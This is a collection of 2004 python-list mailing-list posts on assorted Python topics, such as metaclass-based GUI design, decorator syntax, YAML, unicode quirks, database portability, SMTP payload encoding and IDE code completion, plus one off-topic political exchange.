From brenbarn at brenbarn.net  Sat Sep 25 01:12:46 2004
From: brenbarn at brenbarn.net (Brendan Barnwell)
Date: Fri, 24 Sep 2004 22:12:46 -0700 (Pacific Standard Time)
Subject: up with PyGUI!
In-Reply-To: <864d3709040924070873d4708f@mail.gmail.com>
References: <mailman.3318.1095180577.5135.python-list@python.org><414783DD.4070509@zephyrfalcon.org><4lf4d.15151$pA.1180511@news20.bellglobal.com><4151B7C4.6070003@zephyrfalcon.org>
	<2rfnp6F19gkpkU1@uni-berlin.de><Xns956D93ADD811BOKB@130.133.1.4>
	<864d3709040924070873d4708f@mail.gmail.com>
Message-ID: <Mahogany-0.66.0-960-20040924-221246.00@OKB.mshome.net>

On Fri, 24 Sep 2004 11:08:22 -0300 Carlos Ribeiro
<carribeiro at gmail.com> wrote:

> I think I have solved the first half of your problem. Please check my
> "Call for suggestions" post from yesterday. I implemented a
Container
> metaclass that can take nested class declarations and generate a
> representation with a few important features:
>
> -- it's ordered (in the same order as the original declarations in the
> source code)
> -- all nested classes are converted to instances

	My implementation essentially does this as well.  However, I
have devised a metaclass (called ClassObj) that does not actually
replace the class with an instance.  Instead, each class keeps a reference
to singleton instance.  All attributes are stored on the class object, but
methods are forwarded to the instance (since Python won't allow you
to call methods on a class).  The advantage of this is that the classes
can even be subclassed.  This metaclass largely eliminates the
distinction between classes and objects; a ClassObj can effectively
function as either.

> Please check it, and let me know if you're interested. I'm focusing my
> work on this part now, I'm purposefully not dealing with the GUI; I
> have my own ideas regarding the GUI part, but let us solve one
problem
> at a time, right?
<snip>
> It seems like we're looking for similar solutions. I'm looking for
> more people to start a separate discussion to avoid spamming c.l.py.
> Please drop me a note if you're interested.

	I'm definitely interested.  I have put my work-in-progress code up
if you want to look at it.  It is at http://www.brenbarn.net/misc/gui/
(You may have to change the import statements in the files slightly; I
haven't bothered to make sure the directory structure there is the same
as on my local system.)  This is obviously incomplete, but it gives an
idea of the kind of thing I am doing.  Let me know what you think!

--
--Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown



From ville at spammers.com  Wed Sep  1 03:18:35 2004
From: ville at spammers.com (Ville Vainio)
Date: 01 Sep 2004 10:18:35 +0300
Subject: Rejecting the J2 decorators proposal
References: <mailman.2708.1094014769.5135.python-list@python.org>
Message-ID: <du7r7pmfodw.fsf@mozart.cc.tut.fi>

>>>>> "Guido" == Guido van Rossum <gvanrossum at gmail.com> writes:

    Guido> everything remains as currently in CVS. For 2.4b1, I will
    Guido> consider a change of @ to some other single character, even

Great - I bet many of those who preferred & endorsed J2 over @pie did
so because of the @ character (well, I did at least).


    Guido> audience (like 3rd party library packages). Using
    Guido> decorators for type annotations in particular looks
    Guido> tedious, and this particular application is so important
    Guido> that I expect Python 3000 will have optional type
    Guido> declarations integrated into the argument list.

Looking forward to be able to vote on the syntax for those ;-).

-- 
Ville Vainio   http://tinyurl.com/2prnb


From cce at clarkevans.com  Mon Sep 20 17:01:12 2004
From: cce at clarkevans.com (Clark C. Evans)
Date: Mon, 20 Sep 2004 17:01:12 -0400
Subject: PyYaml?
In-Reply-To: <uy8j6pdpp.fsf@yahoo.co.uk>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05> <uy8j6pdpp.fsf@yahoo.co.uk>
Message-ID: <20040920210112.GA98880@prometheusresearch.com>

On Sun, Sep 19, 2004 at 02:53:22PM +0100, Paul Moore wrote:
| It seems to claim to be different things at different times - a
| serialization format, a config file format, a replacement for XML

At conception, I wanted a text format for invoices and other
transactional business documents that was: (a) very human readable,
(b) loaded into native data structures without requiring a DOM or a
bunch of parser-hand-holding, (c) had a simple enough information
model that a schema and transformation language would not be a
serious exercise in topology.  Brian Ingerson, one of the other
co-authors was working on something similar to Pickle for Perl.

| At the time, I was looking for a config format, and it wasn't
| *quite* what I wanted, because some of the serialization and XML 
| aspects made it slightly clumsy as a config format.

That some people use it for configuration files is due to Brian's
influence on the more-than-one-way-to-write-it.  Also, our earlier
goals of a cross-language serialization tool got in the way of
making it a great configuration file language.  We've since had to
make some compromises in this regard. Two other good uses for YAML
include log files and tests suites. Neither of which were the
initial focus, but alas, some things get a life of their own.

| I suspect that people who want to use YAML for serialization,
| or as an XML replacement, may feel the same way. And yet, I don't get
| the feeling that YAML is being developed as a "compromise" format, so
| I am obviously missing a key design principle.

I work with business documents all the time; especially ones that
move between computer systems using different programming languages.
So, this was my primary goal; we advertise YAML as a serialization
language since this is the 'easiest category' to put ourselves in.

| As regards the existing YAML libraries for Python, when I looked I
| found that the PyYAML website claimed that it was out of date with
| respect to the latest spec. I also tried SYCK, which looks OK, but
| which I did manage to provoke a crash from without trying too hard.

Er ya.  Don't do "syck.parse", I need to remove that function from
the public interface.  The newest release of Syck is far more stable
so you may want to try it again.

| None of this is a criticism of YAML and/or its libraries themselves.
| However, it does make any suggestion that YAML be used to replace a
| key part of the Python standard library seem a little premature, at
| least.

Definitely.  YAML has at least two more years of work before it'd be 
ready for even proposing that it be considered as a core library.

| I just re-read some of the YAML website. It appears clear from there
| that YAML is designed as a serialization format. But there seems to
| be a lack of justification as to *why* the design goals (section 1.1
| of the spec) are important. Also, security is *not* an explicit goal,
| and section 3.1.6 (the "Construct" process) is completely lacking in
| any discussion of the security or other implications of converting a
| YAML file to a native language object. This seems somewhat surprising
| in a specification for a serialization format...

*nods*  I hope the discussion above helps.  I doubt that YAML would
ever be a good 'drop-in' replacement for pickle.  If in the far-distant
future someone were to propose using YAML in this way, it'd probably be
one of N 'formats' for a more pluggable pickle module.  

| More portable - hmm, OK. I'm not sure where you want portability
| *between*, though. Pickle is, as far as I know, portable across
| platforms. Are you talking about portability between languages? I
| can't think where I'd want to dump a Python object for loading into
| Perl or Ruby, though. Can you offer me some real-life use cases?

Certainly.  I work with several programmers in different shops,
we move transactional documents around, traditionally with XML,
but more so with YAML.  By next year this time I hope it is all
YAML.  If you are just using hash/list/scalar data types (90%
of our use cases) then YAML is a great option.  In fact, recently
we had a customer start using the Perl version of YAML with our
system and it worked.

| More readable - I'll give you this. And yes, it can be useful. I've
| been stuffed before now with Java programs whose configuration is
| stored as a serialized-to-disk object which is completely opaque to
| external tools, let alone human readers. But this is a property that
| is useful only in case of failure (if the config gets stuffed, I can
| hand-hack the dump file, or if I forget what I set parameter X to, I
| can look in the dump). If the application design *requires* the dump
| format to be readable, we've moved away from serialization, and
| started to talk about configuration formats (which is a separate
| issue, one in which it is quite possible that YAML is strong, but
| *not* one in which it is competing with Pickle).

Exactly.  The older PyYaml made configuration files painful, as it
was trying to implicitly type all kinda of data (recognizing floating
points, dates, etc.).  We found this behavior to be a bit
counter-productive for config files, and hence this "implicit
typing" is now strictly optional, application directed behavior.

Best,

Clark


From fahd.khan at gmail.com  Sat Sep 11 02:04:51 2004
From: fahd.khan at gmail.com (Fahd Khan)
Date: 10 Sep 2004 23:04:51 -0700
Subject: possible unicode bug in implicit string concatenation?
Message-ID: <5f4ca392.0409102204.34d2a4e9@posting.google.com>

Hi team! While troubleshooting a crash I had while using BitTorrent
where the torrent's target file names didn't fall into the ascii range
I was playing around in the interpreter and noticed this behaviour:

>>> u'\u12345' + 'foo'
u'\u12345foo'
>>> u'\u12345' u'foo'
u'\u12345foo'
>>> u'\u12345' + u'foo'.encode('ascii')
u'\u12345foo'
>>> u'\u12345' u'foo'.encode('ascii')
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
UnicodeEncodeError: 'ascii' codec can't encode character u'\u1234' in
position 0: ordinal not in range(128)
>>> 

Is this a bug, or is my understanding of how Python works flawed? I
tried tracing it within the interpreter itself bug got lost after a
little while... I'm familiar with the interpreter loop, but not the
parser, and I suspect this is something to do with implicit string
concatenation being parsed differently from the explicit version, i.e.
the explicit version uses the + operator slot, while the implicit
version does something else. Any ideas?

Fahd Khan
ICON | Clinical Research
W: 281-295-4834


From aleaxit at yahoo.com  Sat Sep 25 13:47:23 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 19:47:23 +0200
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
	<1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>
	<87hdpma6gl.fsf@pobox.com>
Message-ID: <1gkooub.1vi8jhkmfipvjN%aleaxit@yahoo.com>

John J. Lee <jjl at pobox.com> wrote:
   ...
> > ...except that you may need to use different placeholders in SQL strings
> > for parameters to insert (sigh)...
> 
> ...and there are of course variations in SQL from DBMS to DBMS...

Yeah, _those_ I'm resigned to.  No language can paper over them.  But a
language shouldn't ADD difficulties such as placeholder differences.


> IIRC, Steve Holden suggests in his book [1] the use of
> internationalization (i18n) tools (eg. gettext) to make DB API code
> portable.  Seems unfortunately apt.
> 
> [1] "Python Web Programming", New Riders (2002)

Superb book, though unfortunately dated "pythonwise".  I was a technical
reviewer for it and loved the experience -- and when I wanted to give
Anna, at the time my long-lost and recently-reconnected friend, a
birthday gift consonant to her nascent interest in Python, that's the
book I had Amazon deliver to her door.  Since she's now my wife, and a
Python enthusiast, it seems to have worked.  It's particularly great in
terms of the lightweight but useful coverage it gives on so many things,
from E/R design to HTTP and other protocols.

But on that one detail I beg to differ from my good friend Steve.
Dropping down to string-substitution is not really the best way to solve
SQL discrepancies among RDBMS's.  Unfortunately, what I developed for
the purpose was a "work for hire", and to this day remains proprietary
to the firm I developed it for (think3 inc, if you must know) -- when I
resigned, one part of our verbal agreements was that they'd opensource
certain parts of their SW (mostly infrastructure aspects I had
developed) and I'd freely take them over and maintain them on
sourceforge or the like... they never followed through and I got tired
of pressuring them.  Next time I should need that kind of thing from an
employer or client, I'm gonna get it in writing:-).

Anyway, the solution was born back in the day where we had to add
Informix to Ingres (or was it vice versa?) in the set of RDBMSs
supported by our ancillary applications (main applications were in the
CAD field for mechanical engineering, but RDBMS access was needed by
helper applications doing Bills of Materials and the like).  Rather than
kludging it up as I was requested to do, I veered off on my own and made
up a more general solution -- part of my motivation was that I owned a
license of Watcom SQL and wanted to be able to develop at home using
that, even though supporting it was of no interest to the firm.  To make
a long story short, it worked -- it basically reimplemented the original
Relational model, quite independent of SQL _as a language_, and
generated SQL on the fly (well, not quite on-the-fly, it was done
offline) in the required dialect.  I remember later ports to such
'alien' RDBMSs as Oracle, Jet (aka [incorrectly] 'Access'), and SQL
Server, taking 1/4 the time management reasonably expected them to
(that's how I got to goof off on Usenet for 2/4ths of that time, and
still deliver in 3/4 of the time and look good;-).

But it's all captive, closed-source, proprietary stuff now.  Sigh....


Alex


From mh at dreadnok.pixar.com  Mon Sep 13 13:42:54 2004
From: mh at dreadnok.pixar.com (Mark Harrison)
Date: Mon, 13 Sep 2004 17:42:54 GMT
Subject: getting errno from OSError exception?
Message-ID: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com>

Can somebody loan me a clue as to how to check the errno on
an OSError, as described below?

try:
    os.makedirs(d)
except OSError:
    # if errno == 17 then silently ignore the error because the
    # other process won the race condition and created the directory
    # otherwise, allow the exception to percolate up the call stack
    # and be caught by the standard error reporter


Many TIA!
Mark

-- 
Mark Harrison
Pixar Animation Studios


From ksenia at ksenia.nl  Thu Sep  2 06:40:35 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Thu, 2 Sep 2004 13:40:35 +0300
Subject: __doc__ of current function?
In-Reply-To: <62e3db01.0409012325.4d42bb45@posting.google.com>
References: <62e3db01.0409012325.4d42bb45@posting.google.com>
Message-ID: <8577E929-FCCC-11D8-B198-000A957911BC@ksenia.nl>

>
> ... can I write a general docOfCurrentFunction() function so that I
> can rewrite it:
>
> def validatePassword(p):
>    'do something'
>    print docOfCurrentFunction()
>

def docOfCurrentFunction():
     import sys
     func_name = sys._getframe(1).f_code.co_name
     return eval(func_name + '.__doc__')

But I hope that a more intelligent way exists than using 'eval' :)


Ksenia.



From aleaxit at yahoo.com  Wed Sep 29 02:48:27 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 08:48:27 +0200
Subject: re-entering in the normal flow after an exception is raised
References: <4edc17eb.0409280817.27ef4f43@posting.google.com>
	<1gkucfb.1kl4cxm1yw6dq2N%aleaxit@yahoo.com>
	<0oso22-9k7.ln1@valpo.de>
Message-ID: <1gkv9io.1plr0n318qkpkjN%aleaxit@yahoo.com>

Mathias Waack <M.Waack at gmx.de> wrote:

> Alex Martelli wrote:
> > If something is too complicated for C++, I would assume it's WAY
> > too
> > complicated for Python.  
> 
> It's too complicated for C++ to handle lists containing arbitrary
> types, declaring functions working on arbitrary types, creating
> classes at runtime...

Runtime creation, yes (due to C++'s choice to work with existing system
tools, chiefly the linker, and limit the language so as to make it
reasonably easy to implement on top of existing linkers) -- the other
stuff, minus the runtime part, is easily handled by templates, of
course, so it's _not_ "too complicated for C++".  If you relax the
constraint on linker limitations (like just about all existing C++
implementations do), then creating and dynamically loading dynamic
libraries allows the do-it-at-runtime part just as well.

Resumable exceptions are a completely different issue from "what
capabilities can I assume in the existing system tools that I want to be
able to collaborate with".


Alex


From http  Sun Sep 12 22:43:51 2004
From: http (Paul Rubin)
Date: 12 Sep 2004 19:43:51 -0700
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<7xacvwn01v.fsf@ruckus.brouhaha.com>
	<slrncka1ar.2a1q.kirk@eyegor.jobsluder.net>
Message-ID: <7xekl6yjko.fsf@ruckus.brouhaha.com>

Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes:
> SHA-1, SHA-256, SHA-384, and SHA-512 are all in the same family so a
> fundamental break in SHA-1 should make the other three more vulnerable
> as well.  

SHA-256 is in the "same family" as SHA-1 only in the same sense that
SHA-1 is in the same family as SHA-0.  You really can't conclude
anything like what you're saying.


From albalmer at att.net  Fri Sep 10 14:44:33 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 10 Sep 2004 11:44:33 -0700
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
Message-ID: <1et3k0d5omt9uic9dbbal361009eoedgmo@4ax.com>

On Fri, 10 Sep 2004 18:18:33 GMT, "Coby Beck" <cbeck at mercury.bc.ca>
wrote:

>
>"Alan Balmer" <albalmer at att.net> wrote in message
>news:1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com...
>> On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad
>> <firstname at lastname.pr1v.n0> wrote:
>>
>> >>However Bush is demonstrably poor.  He ignored the warnings from
>> >>the CIA, FBI, outgoing Clinton administration about imminent
>> >>attacks.  He was focused on attacking Saddam and Iraq from the
>> >>first, and perverted 9/11 into that at the earliest opportunity.
>> >>He has offended many more than most of his predecessors.  I will
>> >>say that he seems to have learned the names of some foreign
>> >>leaders since being elected.
>> >
>> >Bush has had an agenda all right; but I don't quite get what it is.
>> >
>> And, of course, entertaining the possibility that his agenda is just
>> what he says it is, is completely out of the question.
>
>Not out of the question, be obviously untrue.
>
>"We must invade Iraq to remove the threat of a madman with WMD"
>--> Inspectors were inside Iraq looking already.
>--> N. Korea was boasting about its nuclear program and firing
>    test missles all over the place.
>--> Not a stick of said WMD has been found since invading.
>
>"We must save the Iraqi people from a ruthless dictator"
>--> since Hussein is just one of scores of such monsters and Iraq
>    was the country chosen, this can not be the reason.
>
>"We must fight terrorism"
>--> The hunt for Osama, known to be NOT IN Iraq was practically dropped
>    to invade Iraq.
>--> Everyone outside of the Fox news network knows there was never any
>    link from Iraq to Osama.
>--> Terrorism is now a big problem in Iraq where it was not before.
>
>
My, you are behind the times. Sorry, I'm not going to rehash all this
stuff now. It's been done too many times. Check the archives.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From cookedm+news at physics.mcmaster.ca  Fri Sep  3 12:59:27 2004
From: cookedm+news at physics.mcmaster.ca (David M. Cooke)
Date: Fri, 03 Sep 2004 12:59:27 -0400
Subject: Combining mode and encoding in emacs
References: <slrncjh719.bs2.mlh@furu.idi.ntnu.no>
Message-ID: <qnkvfevqoeo.fsf@arbutus.physics.mcmaster.ca>

At some point, mlh at furu.idi.ntnu.no (Magnus Lie Hetland) wrote:

> If I want to specify both mode and source encoding using the
>
>   -*- FOO -*-
>
> syntax in emacs -- how can I do that? Both insist on being on the
> second line of the file, yet I have found no way of combining them.
> That is, the following doesn't work properly (not in all emaxen, at
> least):
>
>   #!/usr/bin/env python
>   # -*- encoding: iso-8859-1 -*-
>   # -*- python -*-
>
> If I switch the two, Python doesn't get the encoding. (I need to
> specify the mode, because the file has a '.cgi' ending.)

#!/usr/bin/env python
# -*- mode: python; encoding: iso-8859-1 -*-

This works for me in GNU emacs 21.3.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From bokr at oz.net  Mon Sep 20 01:42:10 2004
From: bokr at oz.net (Bengt Richter)
Date: 20 Sep 2004 05:42:10 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<ad052e5c.0409191424.2aab5bb4@posting.google.com>
	<m2vfe94olk.fsf@mycroft.actrix.gen.nz>
Message-ID: <cilqji$nv8$0$216.39.172.122@theriver.com>

On Mon, 20 Sep 2004 15:16:07 +1200, Paul Foley <see at below.invalid> wrote:

>On 19 Sep 2004 15:24:31 -0700, Dan Bishop wrote:
>
>> There are, of course, reasonably accurate rational approximations of
>> pi.  For example, 355/113 (accurate to 6 decimal places), 312689/99532
>> (9 decimal places), or 3126535/995207 (11 decimal places).  Also, the
>> IEEE 754 double-precision representation of pi is equal to the
>> rational number 4503599627370496/281474976710656.
>
>I hope not!  That's equal to 16.  (The double float closest to) pi is
>884279719003555/281474976710656
>
Amazingly, that is _exactly_ equal to math.pi

 >>> from ut.exactdec import ED
 >>> import math
 >>> ED('884279719003555/281474976710656')
 ED('3.141592653589793115997963468544185161590576171875')
 >>> ED(math.pi,'all')
 ED('3.141592653589793115997963468544185161590576171875')
 >>> ED('884279719003555/281474976710656') == ED(math.pi,'all')
 True

 >>> ED('884279719003555/281474976710656').astuple()
 (3141592653589793115997963468544185161590576171875L, 1L, -48)
 >>> ED(math.pi,'all').astuple()
 (3141592653589793115997963468544185161590576171875L, 1L, -48)

So it's also equal to the rational number
 3141592653589793115997963468544185161590576171875 / 10**48

 >>> ED('3141592653589793115997963468544185161590576171875'
 ...   '/1000000000000000000000000000000000000000000000000')
 ED('3.141592653589793115997963468544185161590576171875')

or

 >>> ED('3141592653589793115997963468544185161590576171875') / ED(10**48)
 ED('3.141592653589793115997963468544185161590576171875')

Regards,
Bengt Richter


From skip at pobox.com  Fri Sep 10 10:14:59 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 10 Sep 2004 09:14:59 -0500
Subject: RSS generation
In-Reply-To: <uotsrpxlz5rs$.dlg@morateknikutveckling.se>
References: <e9ece60a.0409100210.29557d17@posting.google.com>
	<uotsrpxlz5rs$.dlg@morateknikutveckling.se>
Message-ID: <16705.46819.221021.825366@montanaro.dyndns.org>


    >> I'm looking for a python module which can help generate RSS feeds
    >> in various formats - 0.92, 1.0, 2.0, atom etc...

    Anders> Some info here:
    Anders> http://www-106.ibm.com/developerworks/webservices/library/ws-pyth11.html

That's for parsing RSS, not generating it.  While RSS isn't that hard to
generate, it would still be kinda nice to have a generator that knew about
all the variations on the theme.

Skip



From ThisIsNotMyReal at ddress.com  Wed Sep 22 10:37:56 2004
From: ThisIsNotMyReal at ddress.com (Brian)
Date: Wed, 22 Sep 2004 14:37:56 GMT
Subject: Check for keystroke
Message-ID: <Xns956C6558D1D9Anonenonecom@24.93.43.121>

Inside a loop, I need to passively check to see if a key is pressed or not 
without pausing like raw_input does.  Some pseudocode:

While true:
    	If a key is pressed
    	    	which key is pressed
    	
    	do other stuff inside loop


Google groups turned up this thread:

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th=
3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83%
40posting.google.com&frame=off

TinyURL: http://tinyurl.com/4chqh


But neither the pygame or curses solution worked.  Any new thoughts on 
this?


From ialbert at mailblocks.com  Thu Sep 16 09:27:35 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 16 Sep 2004 09:27:35 -0400
Subject: Overview of competing Python modules?
In-Reply-To: <111j51ljz6sur$.dlg@thorstenkampe.de>
References: <111j51ljz6sur$.dlg@thorstenkampe.de>
Message-ID: <yKmdnSs9vc9bCdTcRVn-iQ@giganews.com>

Thorsten Kampe wrote:

> Something like "there's the standard cvs module and the one from
> pycvs.sourceforge.net but most people use cvs (or pycvs) because it's
> <whatever>".

How would anybody that?

For database modules look at:

http://www.python.org/topics/database/modules.html

Istvan.


From jepler at unpythonic.net  Mon Sep 13 08:32:47 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 13 Sep 2004 07:32:47 -0500
Subject: Mail extraction problem (something's wrong with split methods)
In-Reply-To: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
Message-ID: <20040913123246.GF20186@unpythonic.net>

You cannot send data with arbitrary-length lines over SMTP without using
an encoding such as quoted-printable or base64.

RFC2821
section 2.3.7 "Limits MAY be imposed on line lengths by servers"
section 4.5.3:
           The maximum total length of a text line including the <CRLF>
           is 1000 characters (not counting the leading dot duplicated
           for transparency).  This number may be increased by the use
           of SMTP Service Extensions.
(The relevant SMTP Service Extension in this case being RFC1652, 8BITMIME)

While this is not the limit you seem to be running into (you said
problems happened at 350 bytes) you should be aware of this (and lots of
other details about SMTP and other mail protocols) before you write
something to run "on top of" SMTP.

If you want to send a Python data structure across the network, you
might use pickle and then the email module to create a properly
MIME-encoded message:
    import pickle, email.Message
    bytes = pickle.dumps(my_structure)
    message = email.Message.Message()
    message.set_type("application/x-luka-milkovic")
    message.set_payload(bytes.encode("base64"))
    # set other headers as needed
    message = str(message)

If your structure is actually a sequence of fixed-width integers, then
you might be happy using struct.pack() instead of pickle:
    import struct
    l = len(my_structure)
    bytes = struct.pack("!" + "H"*l, *my_structure)
"H" is for numbers in range(65536), "!" uses network byte-order

In either case, you perform the reverse steps on the reassembled message
on the other end:
    import email.Parser
    decoded_message = email.Parser.Parser().parsestr(message)
    decoded_message.get_type() # must be application/x-luka-milkovic
                               # or this is not a message from your
                               # program
    bytes = decoded_message.get_payload().decode("base64")
    # now pickle.loads or struct.unpack the bytes

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040913/431102f0/attachment.sig>

From godoy at ieee.org  Mon Sep 27 10:01:29 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Mon, 27 Sep 2004 11:01:29 -0300
Subject: Psycopg; How to detect row locking?
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl>
	<m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl>
	<lYU5d.804$TY2.351@lakeread04>
Message-ID: <m3sm93zu86.fsf@g2ctech.com>

Steve Holden <steve at holdenweb.com> writes:

> If all threads are using the same database connection, even if you 
> create multiple cursors, then you shouldn't have any locking issues 
> because all threads are part of the same transaction.

I think that there is one transaction per cursor and not per
connection.  Is it really like that or there's one transaction per
connection? 


Be seeing you,
-- 
Godoy.     <godoy at ieee.org>


From peter at engcorp.com  Mon Sep 13 17:58:01 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 13 Sep 2004 17:58:01 -0400
Subject: check for unused ports and then grab one
In-Reply-To: <ci502a$e77$1@solaris.cc.vt.edu>
References: <ci502a$e77$1@solaris.cc.vt.edu>
Message-ID: <9-adnWpzmJ90itvcRVn-vA@powergate.ca>

Brad Tilley wrote:
> Instead of me arbitrarily assigning a high port number to a variable, is 
> it possible to check for ports that are unused and then randomly assign 
> one of them to a variable? Something like this is what I'm thinking:
> 
> port = socket.getunusedport()
> 
> Any ideas?

As Erik says, use a loop until you get a free one, catching the
exceptions that are raised as you try to use the occupied ones.

I'm curious what you are trying to do though.  Normally a server
has to listen on a predefined port or the clients won't be able
to connect, and a client doesn't need to specify which port it
will bind to as the OS will pick a free one automatically.  I've
never had to do what you are trying to do, thus my curiosity...

-Peter


From heikowu at ceosg.de  Mon Sep 20 04:20:33 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 10:20:33 +0200
Subject: need help defining Constant memory requirement
In-Reply-To: <d3be1825.0409191328.458dc60b@posting.google.com>
References: <d3be1825.0409182100.612a5dcb@posting.google.com>
	<mailman.3507.1095603871.5135.python-list@python.org>
	<d3be1825.0409191328.458dc60b@posting.google.com>
Message-ID: <200409201020.33427.heikowu@ceosg.de>

Am Sonntag, 19. September 2004 23:28 schrieb Jani Yusef:
> Got it!! Thanks for your help.
> Here is my revised and working code
>             i=[1,2,3,4,5,6,3]
>             s0=len(i)*(len(i)+1)/2
>             s1=0
>             for a in i:
>                 sum1+=a
>             return (sum1-sum0)%len(i)
> I think my main malfunction was with thinking that this was mor
> ecomplex tna it was. By refocusing on the simple problem statement as
> suggested the solution came easier. Thanks again.

Well, actually, as Tim Peters already said, the function really isn't O(1) in 
space requirement, because len(i) and sum(i) grow with O(log(n))... But okay, 
probably your instructor just overlooked this...

Heiko.



From xv0017python at yahoo.com  Tue Sep 14 20:15:39 2004
From: xv0017python at yahoo.com (andresm)
Date: 14 Sep 2004 17:15:39 -0700
Subject: i am going to get crazy!!!
Message-ID: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>

I cant believe there is no single decent open source for python, all
them miss some of the most core features an ide should have, i just
cant believe this!!! I have been looking for a decent ide for one
weak, i have tried all of them, all. the only kick ass one is ipython,
but thats a shell that shows how an ide should be.

 I come from a java background using eclipse, netbeans,intellij,etc
and i realy liked to learn python =( , java sucks for tons of reasons,
but i dont now what to do the most important feature of an ide is
syntax coloring and "full code completion suport".

 For example if i am learning how to use the sys module in my code and
while i am writing like :

      sys . 

   A list should appear showing me all the attributes of the module or
class : variables,locals,globals,builtins,etc  and when i focus on one
item for example " setprofile " method the documentation of the method
should appear in another popup , that way i can learn  the libraries
fast and in an interactive way. Is all i want in an ide ALL IDES have
this. Why python ones dont ?  in spe you get everything that is in the
namespace,not just the object before the dot triger,same in eric3, in
komodo you get just the functions, no docs.

 Whats wrong with my common sense?  all ides for php,java,c have this
feature , is all i want to be able to program fast =( .

 But i have to alt-tab to konsole to the ipython shell, type help(sys)
, find the doc and info i need and go back to the editor again, is
like 20 seconds comparing to 1 with code completion suport.

 How do you guys program without a feature like this? that is the only
reason i need an ide,  how do you remember all the methods names,
parameters , attributes , classes, behavior while coding with an ide
not suporting this tools? i wont memorize all of them =( is
contraproducent if a tool can help, not to mention when learing new
libraries, memorize again? or take 10 seconds every time you dont
remember something to take the time to look into it?  What should i
do? T_T


From claird at lairds.us  Tue Sep 14 17:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Tue, 14 Sep 2004 21:08:05 GMT
Subject: Lua versus C++ for embedded processor
References: <mailman.369.1074114471.12720.python-list@python.org>
	<45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com>
	<v46e12-inc.ln1@lairds.us> <4144c3c6$1@nntp0.pdx.net>
Message-ID: <8p2k12-jl1.ln1@lairds.us>

In article <4144c3c6$1 at nntp0.pdx.net>,
Scott David Daniels  <Scott.Daniels at Acm.Org> wrote:
>Cameron Laird wrote:
>
>> ....  Yes, Lua implementation is, from all my experience, an
>> order of magnitude than the corresponding Perl effort.
>
>While this is a strange topic for c.l.p, I _am_ curious what this
>sentence meant to say. Perhaps: "order of magnitude less work than"?
			.
			.
			.
"... easier to embed ..."

My apologies for the confusion.  I'm an occasional professional
proof-reader--and yet ...


From tchur at optushome.com.au  Wed Sep 29 17:39:47 2004
From: tchur at optushome.com.au (Tim Churches)
Date: 30 Sep 2004 07:39:47 +1000
Subject: Social Analysis and Modeling for Python
In-Reply-To: <415AD6A4.7000400@cloudthunder.com>
References: <415AD6A4.7000400@cloudthunder.com>
Message-ID: <1096493975.1238.45.camel@emilio>

On Thu, 2004-09-30 at 01:37, Bishara Gabriel wrote:
> I encourage feedback from all parties and especially those which would 
> like to be directly involved (I may include you in the grant proposal 
> and budget).  Send me your comments!
> 
> ------->
> 
> Project Objective
> 
> We seek to introduce the advantages of object-oriented programming to
> the realm of social sciences.  We believe the fields thereof (economics,
> history, sociology, political science, etc.), have much to gain from
> OOP?s ability to represent social constructs.  Particularly, we have
> found Python to be well suited to the rapid formulation of social models
> due to its syntactic simplicity, outstanding support for object-oriented
> programming, and comprehensive libraries.  Unfortunately, most academics
> in the aforementioned fields are unaware of the capabilities, let alone
> applicability, of programmatic representation.  Those who do are
> typically put off by the inadequacy and complexity of more traditional
> languages such as C and C++.  We therefore propose to disseminate an
> understanding among these fields of the ability to develop social models
> and represent social constructs via the rapid modeling capabilities of
> the Python language.  We seek to demonstrate how Python presents to them
> limited costs in production time via its language features, and to show
> how social models can be mentally approached in such a way that there
